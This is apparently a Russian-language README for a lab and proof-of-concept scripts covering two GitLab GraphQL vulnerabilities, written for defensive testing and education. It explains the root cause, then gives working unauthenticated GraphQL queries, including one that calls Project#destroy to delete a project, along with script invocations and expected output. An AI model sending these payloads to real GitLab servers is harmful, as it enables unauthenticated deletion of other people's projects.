Воспроизводимая A/B-лаборатория + безопасный PoC для GitLab CVE-2026-19478 / CVE-2026-19650 (GraphQL @gl_introduced)
@gl_introduced: неаутентифицированный произвольный вызов методов (лаборатория для проверки + PoC)Воспроизводимая лаборатория A/B и безопасный PoC для CVE-2026-19478 (GitLab CE/EE, CVSS 9.4, Critical). Неаутентифицированный злоумышленник может вызывать произвольные Ruby-методы с нулём аргументов на объектах, разрешаемых через GraphQL — например, вызвать
Project#destroy, чтобы удалить публичный проект без учётных данных.Также включает PoC для смежной уязвимости CVE-2026-19650 (подмена запросов в GraphQL multiplex), исправленной в том же релизе.
Только для авторизованного тестирования безопасности / обучения. Всё выполняется в ваших собственных локальных контейнерах.
GitLab поставляет клиентскую GraphQL-директиву @gl_introduced(version: "X.Y.Z") (прямая совместимость для
rolling-развёртываний). Когда в запросе указано поле с версией новее, чем у работающего сервера, трассировщик
(Gitlab::Graphql::VersionFilter::IntroducedTracer) удаляет его перед статической валидацией, поэтому запрос
проходит валидацию, а затем на этапе выполнения повторно исполняет документ и позволяет неизвестным полям разрешаться через запасной вариант.
Ошибка находится в запасном варианте (lib/gitlab/graphql/version_filter/future_field_fallback.rb, до патча):
def fallback_field(name:)
GraphQL::Schema::Field.new(owner: self, name: name,
type: GraphQL::Types::Boolean, fallback_value: nil) # <-- no resolver
end
Поле GraphQL::Schema::Field без резолвера разрешается graphql-ruby вызовом
object.public_send(field_name) (в graphql-ruby, lib/graphql/schema/field.rb — ветка
respond_to?(@method_sym) → public_send выполняется до того, как будет задействован fallback_value, поэтому
fallback_value: nil был мёртвым кодом). Следовательно, при использовании @gl_introduced клиент выбирает имя поля,
соответствующее любому методу без аргументов текущего разрешаемого объекта, и сервер вызывает его.
Разрешите публичный проект и запросите «будущее поле» с именем destroy → сервер выполнит Project#destroy.
AV:N/AC:L/PR:N/UI:N/C:L/I:H/A:H).Resolvers::NilResolver, который возвращает nil и никогда не вызывает метод.@gl_introduced(version:) должно быть больше версии сервера (используйте 99.0.0).to_param, destroy).id), иначе отфильтрованный документ — пустой
набор выборок, и GitLab возвращает ошибку валидации "Field must have selections".Требования: Docker + docker compose, ~8 ГБ свободной RAM, Python 3.
docker compose up -d # boots vulnerable :8222 and patched :8224 (GitLab takes ~3-5 min to become healthy)
./setup.sh # waits for readiness, seeds a public project + an admin token on each instance
setup.sh выводит для каждого экземпляра: базовый URL, путь созданного публичного проекта (root/pub) и административный PAT.
Использует примитив вызова метода с безвредным методом (to_param). Никакие данные не изменяются.
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 # vulnerable -> VULNERABLE
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8224 # patched -> NOT VULNERABLE
Ожидаемый результат:
[*] mechanism check .......... @gl_introduced active (unknown field returns null, no error)
[*] method-call probe ........ { project(fullPath:"root/pub"){ id to_param @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":true}}
[!] VULNERABLE — server invoked Project#to_param via public_send (returned non-null); CVE-2026-19478 present.
а на исправленном экземпляре:
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":null}}
[+] NOT VULNERABLE — fallback returned null (NilResolver); patched.
Создаёт собственный одноразовый публичный проект через REST API (требуется административный токен из setup.sh),
затем удаляет его через неаутентифицированную GraphQL-атаку и подтверждает, что проект исчез.
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 \
--prove-destroy --token <ADMIN_PAT_FROM_setup.sh> --namespace root
Ожидаемый результат (уязвимый экземпляр):
[*] created throwaway public project poc-doomed-<rand> (id=42) via REST
[*] UNAUTH attack ............ { project(fullPath:"root/poc-doomed-<rand>"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/42","destroy":true}}
[+] post-check (REST) ........ GET /api/v4/projects/42 -> 404 Not Found
[!] CONFIRMED — unauthenticated request DELETED the project. CVE-2026-19478 impact proven.
На исправленном экземпляре тот же запуск сообщает, что проект по-прежнему возвращает 200 OK, а destroy равен null.
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8222 # VULNERABLE (slot 0 returns slot 1's data)
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8224 # NOT VULNERABLE (slots isolated)
Направьте --url на любой GitLab, который вам разрешено тестировать, а --project на публичный проект в нём:
python3 poc_cve_2026_19478.py --url https://gitlab.example.com --project some-group/some-public-project
Определение уязвимости не разрушительно. Не используйте --prove-destroy на объектах, которые вам не принадлежат.
Обновитесь до 19.2.4 / 19.1.6 / 19.0.8 / 18.11.11 или новее. Исправление направляет запасной вариант через
Resolvers::NilResolver (возвращает nil, никогда не вызывает метод объекта). Если немедленное обновление невозможно,
заблокируйте директиву @gl_introduced / путь фильтра версий на прокси или ограничьте неаутентифицированный доступ к GraphQL.
| Файл | Назначение |
|---|---|
docker-compose.yml | Запускает уязвимый 19.2.2-ce (:8222) + исправленный 19.2.4-ce (:8224) |
setup.sh | Ожидает готовности, создаёт публичный проект root/pub + административный токен для каждого экземпляра |
poc_cve_2026_19478.py | Определение (безопасно) + опциональное доказательство воздействия --prove-destroy |
poc_cve_2026_19650.py | Определение подмены запросов в multiplex (безопасно) |
--prove-destroy создаёт и удаляет собственный одноразовый проект; он никогда не затрагивает root/pub и ваши данные.e283c6adeb3d (запасной вариант) и d2ea4b971a98 (multiplex swap).